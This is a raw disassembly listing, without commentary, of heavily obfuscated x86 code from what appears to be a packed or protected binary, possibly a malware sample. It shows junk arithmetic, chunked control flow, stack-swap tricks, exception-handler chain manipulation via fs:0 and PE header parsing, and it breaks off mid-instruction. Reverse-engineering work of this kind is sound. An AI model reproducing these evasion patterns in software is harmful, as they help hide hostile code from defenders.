FUNCTION CHUNK FOR sub_42798F loc_42A22E: ; CODE XREF: sub_42798F:loc_42AFDFj add ebx, edx sub ebx, edx jmp loc_42CBE6 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B500 loc_42A237: ; CODE XREF: sub_42B500:loc_42AE50j call sub_4269D9 loc_42A23C: ; CODE XREF: sub_42DDA6-5D83j jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_42B500 ; =============== S U B R O U T I N E ======================================= sub_42A241 proc near ; CODE XREF: sub_428F20-309Fp ; _0182ofla:004275D3j ; FUNCTION CHUNK AT 004231C2 SIZE 00000012 BYTES mov [esp+0], ebx pop ebx add eax, 2DAA7713h call sub_42B14D lea eax, [ebp-14h] push eax jmp loc_4231C2 sub_42A241 endp ; sp-analysis failed ; --------------------------------------------------------------------------- adc edx, ebp jmp sub_42C7FE ; =============== S U B R O U T I N E ======================================= sub_42A260 proc near ; CODE XREF: sub_423077+Ap ; _0182ofla:00427E65j ; FUNCTION CHUNK AT 00423D82 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426D0C SIZE 00000001 BYTES xchg edx, [esp+0] pop edx add edx, ebp add edx, 0D2288F3Eh mov [edx], eax jmp loc_423D82 sub_42A260 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A273: ; DATA XREF: sub_42B14D+1o mov ebp, esp jnz loc_42A1EE add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 call sub_42A1D9 loc_42A28D: ; DATA XREF: sub_423A2A:loc_4269B2o push ecx push 7E3D6674h pop ecx and ecx, 913F1489h add ecx, 0F0058AD5h jmp loc_425354 ; --------------------------------------------------------------------------- mov [edx], edi jmp sub_4294AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42A2AC: ; CODE XREF: sub_42537E+2097j mov [ebx], ecx jmp loc_428145 ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- or ecx, 0AD15A138h jmp sub_425BED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_42A2BE: ; CODE XREF: sub_42B1F9-D0Dj jnz loc_423F7E loc_42A2C4: ; CODE XREF: sub_42B1F9:loc_424528j call nullsub_201 retn ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C68 loc_42A2CA: ; CODE XREF: sub_429C68+7j jmp loc_42E70E ; END OF FUNCTION CHUNK FOR sub_429C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D430 loc_42A2CF: ; CODE XREF: sub_42D430-6AA2j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_42D430 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A2D5: ; CODE XREF: _0182ofla:004245ADj jmp locret_424B46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427762 loc_42A2DB: ; CODE XREF: _0182ofla:004289BFj ; sub_427762+6482j jmp nullsub_232 ; END OF FUNCTION CHUNK FOR sub_427762 ; --------------------------------------------------------------------------- loc_42A2E0: ; CODE XREF: _0182ofla:004233E7j jmp sub_429AA3 ; --------------------------------------------------------------------------- loc_42A2E5: ; CODE XREF: _0182ofla:0042A665j ; DATA XREF: sub_423861:loc_429870o pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_42A2E8: ; CODE XREF: sub_42AAF8-659Ej jmp loc_425B66 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_42A2ED: ; CODE XREF: sub_423861+3AEFj ; sub_423861+3B03j ... mov al, 1 jmp loc_42E04C ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- loc_42A2F4: ; CODE XREF: _0182ofla:0042A416j add ebx, 3F53B4B0h ; =============== S U B R O U T I N E ======================================= sub_42A2FA proc near ; CODE XREF: sub_42B182+Cp ; FUNCTION CHUNK AT 00427297 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A84B SIZE 00000003 BYTES mov [esp+0], edi pop edi add ecx, 1E23923Ch mov ecx, [ecx] and ecx, 7 mov al, 1 shl al, cl jmp loc_427297 sub_42A2FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42892E loc_42A312: ; CODE XREF: sub_42892E+6j push offset sub_4288BB jmp loc_42AD93 ; END OF FUNCTION CHUNK FOR sub_42892E ; --------------------------------------------------------------------------- loc_42A31C: ; CODE XREF: _0182ofla:0042D67Ej push offset loc_42B1D6 jmp loc_42A947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_42A326: ; CODE XREF: sub_427DA9+3813j mov eax, ebx jl loc_42502E loc_42A32E: ; CODE XREF: sub_427DA9:loc_423B7Bj pop large dword ptr fs:0 add esp, 4 push offset sub_424E00 jmp loc_428B74 ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- loc_42A342: ; CODE XREF: _0182ofla:00424FA3j pushf ; =============== S U B R O U T I N E ======================================= sub_42A343 proc near ; CODE XREF: _0182ofla:00428DADp mov [esp+0], eax sub_42A343 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_42A346: ; CODE XREF: sub_42CA29:loc_42C729j pop eax mov eax, [ebp-4] push eax call sub_4278DB jmp loc_427DCC ; END OF FUNCTION CHUNK FOR sub_42CA29 ; --------------------------------------------------------------------------- cmp edi, eax jmp loc_4291A2 ; --------------------------------------------------------------------------- loc_42A35C: ; CODE XREF: _0182ofla:00427033j jb loc_42E66B or ebp, eax ; =============== S U B R O U T I N E ======================================= sub_42A364 proc near ; CODE XREF: sub_42B15E-7997p xchg ecx, [esp+0] pop ecx add eax, 0D27C4016h add eax, ebp add eax, 2D82B496h loc_42A376: ; CODE XREF: sub_423114+34D7j mov eax, [eax] jmp loc_427A38 sub_42A364 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C7FE loc_42A37D: ; CODE XREF: sub_42C7FE+14j mov dword ptr [ebp-18h], 0 loc_42A384: ; CODE XREF: sub_4240FC+48DDj mov eax, [ebp-4] mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push edx loc_42A390: ; CODE XREF: sub_428729:loc_42360Aj jmp loc_428F09 ; END OF FUNCTION CHUNK FOR sub_42C7FE ; --------------------------------------------------------------------------- db 9Bh, 0FBh, 7Fh dword_42A398 dd 77EB36A5h ; DATA XREF: _0182ofla:0042751Ew ; sub_42B07Dw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42A39C: ; CODE XREF: sub_423A2A+7A71j jmp loc_427BC3 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42A3A1: ; CODE XREF: sub_42D056-6C97j jmp loc_42D864 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- dw 56F6h dword_42A3A8 dd 0 ; DATA XREF: sub_428D17+Co ; sub_42D76D+3o ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_42A3AC: ; CODE XREF: sub_42349B+5047j jmp loc_425535 ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- db 0E9h, 0EAh, 8Dh dword_42A3B4 dd 77E60000h ; DATA XREF: sub_42798F+1DC4r ; sub_42A5FC:loc_42A606w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_42A3B8: ; CODE XREF: sub_42C415-72F4j jmp loc_425551 ; END OF FUNCTION CHUNK FOR sub_42C415 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_42A3BD: ; CODE XREF: sub_4295D6-5640j jmp loc_427290 ; END OF FUNCTION CHUNK FOR sub_4295D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_42A3C2: ; CODE XREF: sub_42AB3E-76A8j jmp loc_4235D8 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- db 5Fh dword_42A3C8 dd 6E93656Dh, 19338D95h, 0C66C8C5Ch ; DATA XREF: sub_423057o ; sub_423A2A:loc_428501o db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42A3D5: ; CODE XREF: sub_423FCD+68EBj jmp loc_428E1A ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= sub_42A3DA proc near ; DATA XREF: _0182ofla:004240C1o pop edx mov esp, ebp pop ebp sub_42A3DA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42A3DF: ; CODE XREF: sub_42326C+1544j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_42326C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A3E4 proc near ; CODE XREF: sub_424A70+6p sub_428AE1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00428E9F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042A988 SIZE 00000005 BYTES push ebp mov ebp, esp call sub_429AE0 loc_42A3EC: ; CODE XREF: sub_42349B+A56Dj jmp loc_428E9F sub_42A3E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BDA loc_42A3F1: ; CODE XREF: sub_426BDA:loc_428399j mov eax, ds:dword_42E8C4 or eax, eax jnz loc_42832E push offset loc_42508C jmp loc_42B4EE ; END OF FUNCTION CHUNK FOR sub_426BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E6A loc_42A409: ; CODE XREF: sub_426E6A+76A7j add ecx, ebp jmp loc_425D30 ; END OF FUNCTION CHUNK FOR sub_426E6A ; --------------------------------------------------------------------------- jl loc_426298 jmp loc_42A2F4 ; --------------------------------------------------------------------------- loc_42A41B: ; CODE XREF: _0182ofla:0042C7DDj mov eax, 7B2A3475h ; =============== S U B R O U T I N E ======================================= sub_42A420 proc near ; CODE XREF: sub_426B83+3p ; FUNCTION CHUNK AT 00424202 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427215 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427781 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428079 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428085 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C493 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042C865 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E058 SIZE 0000000B BYTES mov [esp+0], edx pop edx push ecx mov esp, ebp pop ebp loc_42A428: ; CODE XREF: _0182ofla:loc_42D86Fj mov eax, ds:dword_42E8C0 or eax, eax jmp loc_427215 sub_42A420 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A436: ; CODE XREF: _0182ofla:0042ADFAj xchg ebx, eax ; =============== S U B R O U T I N E ======================================= sub_42A438 proc near ; CODE XREF: sub_42C6EB+7p ; FUNCTION CHUNK AT 0042B3B8 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov large fs:0, esp jmp loc_42B3B8 sub_42A438 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA65 loc_42A448: ; CODE XREF: sub_42DA65+6j mov fs:0, esp jmp loc_426431 ; END OF FUNCTION CHUNK FOR sub_42DA65 ; --------------------------------------------------------------------------- not edx jmp sub_42C2F0 ; --------------------------------------------------------------------------- locret_42A45A: ; CODE XREF: _0182ofla:00424135j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_42A45B: ; CODE XREF: sub_428AC9+627Bj jmp loc_429CF6 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- loc_42A460: ; CODE XREF: _0182ofla:00424126j mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_42CA3F add dword ptr [ebp-8], 4 jmp loc_4254C9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A4C6 loc_42A477: ; CODE XREF: sub_42A4C6+2B07j jmp locret_42981B ; END OF FUNCTION CHUNK FOR sub_42A4C6 ; --------------------------------------------------------------------------- cmp ebx, 6B82E885h jmp loc_427961 ; --------------------------------------------------------------------------- loc_42A487: ; CODE XREF: _0182ofla:loc_42DA60j xor esi, 0AC5E7CDFh add esi, 0E7B4F0CCh add edx, esi pop esi mov edx, [edx] push edx push ebp jmp loc_4242DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_42A49F: ; CODE XREF: sub_42E689+8j jz loc_4250DA jmp loc_42B6BB ; END OF FUNCTION CHUNK FOR sub_42E689 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A4AB: ; CODE XREF: _0182ofla:0042D26Fj jmp loc_42B812 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42A4B0: ; CODE XREF: sub_428F20+1241j jmp loc_423B33 ; END OF FUNCTION CHUNK FOR sub_428F20 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425A93 loc_42A4B6: ; CODE XREF: sub_425A93+19j jmp loc_42DC0C ; END OF FUNCTION CHUNK FOR sub_425A93 ; --------------------------------------------------------------------------- loc_42A4BB: ; CODE XREF: _0182ofla:004247E2j jmp loc_429F1C ; --------------------------------------------------------------------------- locret_42A4C0: ; CODE XREF: _0182ofla:loc_42A947j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B01 loc_42A4C1: ; CODE XREF: sub_426B01-1C0Cj jmp loc_42D471 ; END OF FUNCTION CHUNK FOR sub_426B01 ; =============== S U B R O U T I N E ======================================= sub_42A4C6 proc near ; CODE XREF: _0182ofla:00429366p ; _0182ofla:0042CE6Ej var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004252DE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042A477 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CFC7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D244 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DE8A SIZE 00000025 BYTES mov [esp+0], ebx pop ebx push 0AA8E8B1Fh pop eax rol eax, 11h sub eax, 843DC7FDh xor eax, 0F88973ADh add eax, ebp jmp loc_42D244 sub_42A4C6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_42A4E6: ; CODE XREF: sub_42B1F9:loc_4290EBj popf push 533CB019h jmp loc_42A2BE ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- loc_42A4F1: ; CODE XREF: _0182ofla:loc_426F18j pop ebx pop ebp jmp loc_426EE7 ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_42D1C4 ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_42A500: ; CODE XREF: sub_4254D3+8F9j mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 4 jnz loc_42A516 add [ebp+var_8], 4 jmp loc_423B19 ; --------------------------------------------------------------------------- loc_42A516: ; CODE XREF: sub_4254D3+5034j add [ebp+var_8], 2 loc_42A51A: ; CODE XREF: sub_425629:loc_423ECAj jmp loc_425DD5 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A51F proc near ; CODE XREF: sub_425B00+D2Bp ; sub_425B00+77BFp ; FUNCTION CHUNK AT 0042C94B SIZE 00000005 BYTES push ebp mov ebp, esp push offset sub_42ACCF jmp loc_42C94B sub_42A51F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A52D: ; CODE XREF: _0182ofla:0042D404j jmp locret_426D4C ; --------------------------------------------------------------------------- adc ebp, 0AB867CCEh jmp sub_4294FE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42A53E: ; CODE XREF: sub_428D63+4FFCj jmp loc_426551 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42A543: ; CODE XREF: sub_424184:loc_42B8E4j call sub_42E574 ; END OF FUNCTION CHUNK FOR sub_424184 ; START OF FUNCTION CHUNK FOR sub_424E6E loc_42A548: ; CODE XREF: sub_424E6E+Dj jmp loc_4251A5 ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- loc_42A54D: ; CODE XREF: _0182ofla:0042399Cj jmp loc_42743A ; --------------------------------------------------------------------------- loc_42A552: ; CODE XREF: _0182ofla:0042A214j rol eax, 4 ; START OF FUNCTION CHUNK FOR sub_42430D loc_42A555: ; CODE XREF: sub_42430D:loc_42A1FEj add ecx, 0EA2666B0h xchg ecx, [esp+4+var_4] jmp loc_42308B ; END OF FUNCTION CHUNK FOR sub_42430D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42A563: ; CODE XREF: sub_423A2A+85Aj pop edi popf jmp loc_4269B2 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- loc_42A56A: ; CODE XREF: _0182ofla:loc_4230DAj push offset loc_429D61 jmp loc_42DC5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42A574: ; CODE XREF: sub_42D056:loc_42EC88j jnz loc_4255AA loc_42A57A: ; CODE XREF: _0182ofla:00425EC0j jmp loc_42A8E3 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- sbb ecx, ebp jz loc_42A8CB and eax, 4E14E7B0h jmp loc_4255A5 ; =============== S U B R O U T I N E ======================================= sub_42A592 proc near ; CODE XREF: _0182ofla:0042C946p xchg eax, [esp+0] mov eax, [esp+0] call sub_42DBF0 push ebx push 48BA5979h pop ebx push offset sub_428E08 jmp nullsub_240 sub_42A592 endp ; --------------------------------------------------------------------------- push 0C072D16Eh push ebp jmp sub_42C677 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_42A5B9: ; CODE XREF: sub_42461C+BB7j xchg edi, [esp+4+var_4] jmp sub_429BB9 ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A5C1: ; CODE XREF: sub_42798F:loc_427A01j push ecx jmp loc_42A1F9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42A5C7: ; CODE XREF: _0182ofla:00427989j jnz loc_428C9D jmp loc_42C759 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A5D2: ; CODE XREF: sub_42798F-35CEj jnz loc_428C3D jmp loc_4287FD ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42A5DD: ; CODE XREF: _0182ofla:loc_4243A1j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4270F9 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jmp loc_4270F3 ; =============== S U B R O U T I N E ======================================= sub_42A5FC proc near ; CODE XREF: _0182ofla:00423013j ; sub_427BA0+Cp ; FUNCTION CHUNK AT 00429917 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E4D1 SIZE 00000011 BYTES mov [esp+0], edi pop edi push eax call sub_42DBF0 loc_42A606: ; CODE XREF: sub_423057:loc_424893j mov ds:dword_42A3B4, eax lea eax, [ebp-14h] jmp loc_429917 sub_42A5FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C89F loc_42A613: ; CODE XREF: sub_42C89F+1Cj xchg esi, [esp+0] jmp sub_42892E ; END OF FUNCTION CHUNK FOR sub_42C89F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A181 loc_42A61B: ; CODE XREF: sub_42A181-2A4Bj sbb ebx, edx jmp loc_426F44 ; END OF FUNCTION CHUNK FOR sub_42A181 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42493A loc_42A622: ; CODE XREF: sub_42493A+1j cmp esi, 40D23369h jmp loc_4272EE ; END OF FUNCTION CHUNK FOR sub_42493A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A62D: ; CODE XREF: sub_42798F+3273j cdq jmp loc_42ABE9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42A633: ; CODE XREF: sub_428D63:loc_42A0CFj cmp dword ptr [ebp-4], 2 jnz loc_42ABE9 jmp loc_4283AF ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A642 proc near ; DATA XREF: sub_42417Ao var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004242D8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004254CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D7A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004276B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042836D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00428668 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004293DD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042CDB9 SIZE 00000024 BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg ebx, [esp+4+var_4] jmp loc_4242D8 sub_42A642 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426993 loc_42A650: ; CODE XREF: sub_426993+13j jz loc_42E53F jmp loc_425CB7 ; END OF FUNCTION CHUNK FOR sub_426993 ; --------------------------------------------------------------------------- loc_42A65B: ; CODE XREF: _0182ofla:0042A846j sbb edx, ecx shl edi, 2 push 53148775h jg loc_42A2E5 jmp loc_429F48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_42A670: ; CODE XREF: sub_42486B+Bj ; sub_423FE2:loc_427746j jz loc_42DD4D jmp loc_42DE16 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42A67C: ; CODE XREF: sub_42C553+701j jmp loc_42487B ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB27 loc_42A681: ; CODE XREF: sub_42AB27:loc_426812j push esi push 42FD5B0Ah pop esi and esi, 0CD1FEA3Dh cmp esi, 1925C9DBh jmp loc_424CA3 ; END OF FUNCTION CHUNK FOR sub_42AB27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42A699: ; CODE XREF: sub_428A39:loc_429512j ; _0182ofla:loc_42AB38j push offset loc_424508 jmp loc_42DEB5 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- test eax, eax jz loc_428547 push 2 push 400h jmp loc_42B424 ; --------------------------------------------------------------------------- or ebp, 6E5381A6h jmp sub_42D333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424950 loc_42A6C2: ; CODE XREF: sub_424950+Fj call sub_42894D ; END OF FUNCTION CHUNK FOR sub_424950 ; START OF FUNCTION CHUNK FOR sub_42883C loc_42A6C7: ; CODE XREF: sub_42883C+2Aj jmp loc_42D59E ; END OF FUNCTION CHUNK FOR sub_42883C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C677 loc_42A6CC: ; CODE XREF: sub_42C677-43Dj xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42C677 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E2B3 loc_42A6D0: ; CODE XREF: sub_42E2B3+Dj jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_42E2B3 ; =============== S U B R O U T I N E ======================================= sub_42A6D5 proc near ; CODE XREF: sub_42798F-2B42p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004243FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424AD7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042659A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004278EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429E96 SIZE 00000013 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_424AD7 sub_42A6D5 endp ; =============== S U B R O U T I N E ======================================= sub_42A6E6 proc near ; DATA XREF: _0182ofla:0042536Co var_4 = dword ptr -4 push eax push 0AC869F52h pop eax sub eax, 0CB57E46Bh add eax, 1F1377F7h xchg eax, [esp+4+var_4] jmp sub_42D71D sub_42A6E6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42A701: ; CODE XREF: sub_4271D2:loc_42A11Bj xor edi, ebx or edx, 0C16729B4h push esi or eax, 95160523h pushf jmp loc_429C31 ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424289 loc_42A716: ; CODE XREF: sub_424289:loc_428E23j mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423955 ; END OF FUNCTION CHUNK FOR sub_424289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42A729: ; CODE XREF: sub_42E5F8-382Bj ; sub_42E5F8:loc_42CF73j mov eax, [ebp-4] movzx eax, word ptr [eax+6] push edi push 0E5FDC2F8h jmp loc_42D477 ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- loc_42A73B: ; DATA XREF: sub_42926C+1Do lea eax, [ebp-14h] push eax ; START OF FUNCTION CHUNK FOR sub_4247FE loc_42A73F: ; CODE XREF: sub_4247FE:loc_42877Cj call sub_42DBF0 mov ds:dword_427A14, eax mov ds:byte_427A00, 1 lea eax, [ebp-14h] jmp loc_4260A3 ; END OF FUNCTION CHUNK FOR sub_4247FE ; --------------------------------------------------------------------------- loc_42A758: ; CODE XREF: _0182ofla:0042B31Cj jbe loc_42DF38 xchg ebx, edx ; =============== S U B R O U T I N E ======================================= sub_42A760 proc near ; CODE XREF: sub_428041-4021p ; FUNCTION CHUNK AT 00423A6B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428BF8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429792 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A16E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A8BD SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042C39A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CB87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CBDB SIZE 0000000B BYTES mov [esp+0], edi pop edi cmp dword ptr [ebp-0Ch], 0 jmp loc_42CBDB sub_42A760 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42A76D: ; CODE XREF: sub_425B00:loc_42CB94j mov eax, [ebp-20h] call sub_4254D3 pop ecx mov [ebp-20h], eax loc_42A779: ; CODE XREF: sub_425B00:loc_42644Bj ; sub_425B00+359Aj ... mov eax, [ebp-20h] jmp loc_42D9C8 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B53 loc_42A781: ; CODE XREF: sub_423B53:loc_427687j call sub_42AAF8 loc_42A786: ; CODE XREF: sub_42C8C0-6B67j ; sub_42A092:loc_429E73j push eax push 0D9A20071h pop eax add eax, 26A09CD9h xchg eax, [esp+4+var_4] jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_423B53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42A79B: ; CODE XREF: sub_42798F:loc_427A4Dj mov [ebp-4], eax loc_42A79E: ; CODE XREF: _0182ofla:00426A2Ej ; _0182ofla:0042CBB8j ... dec ds:dword_42577C mov eax, [ebp-4] pop 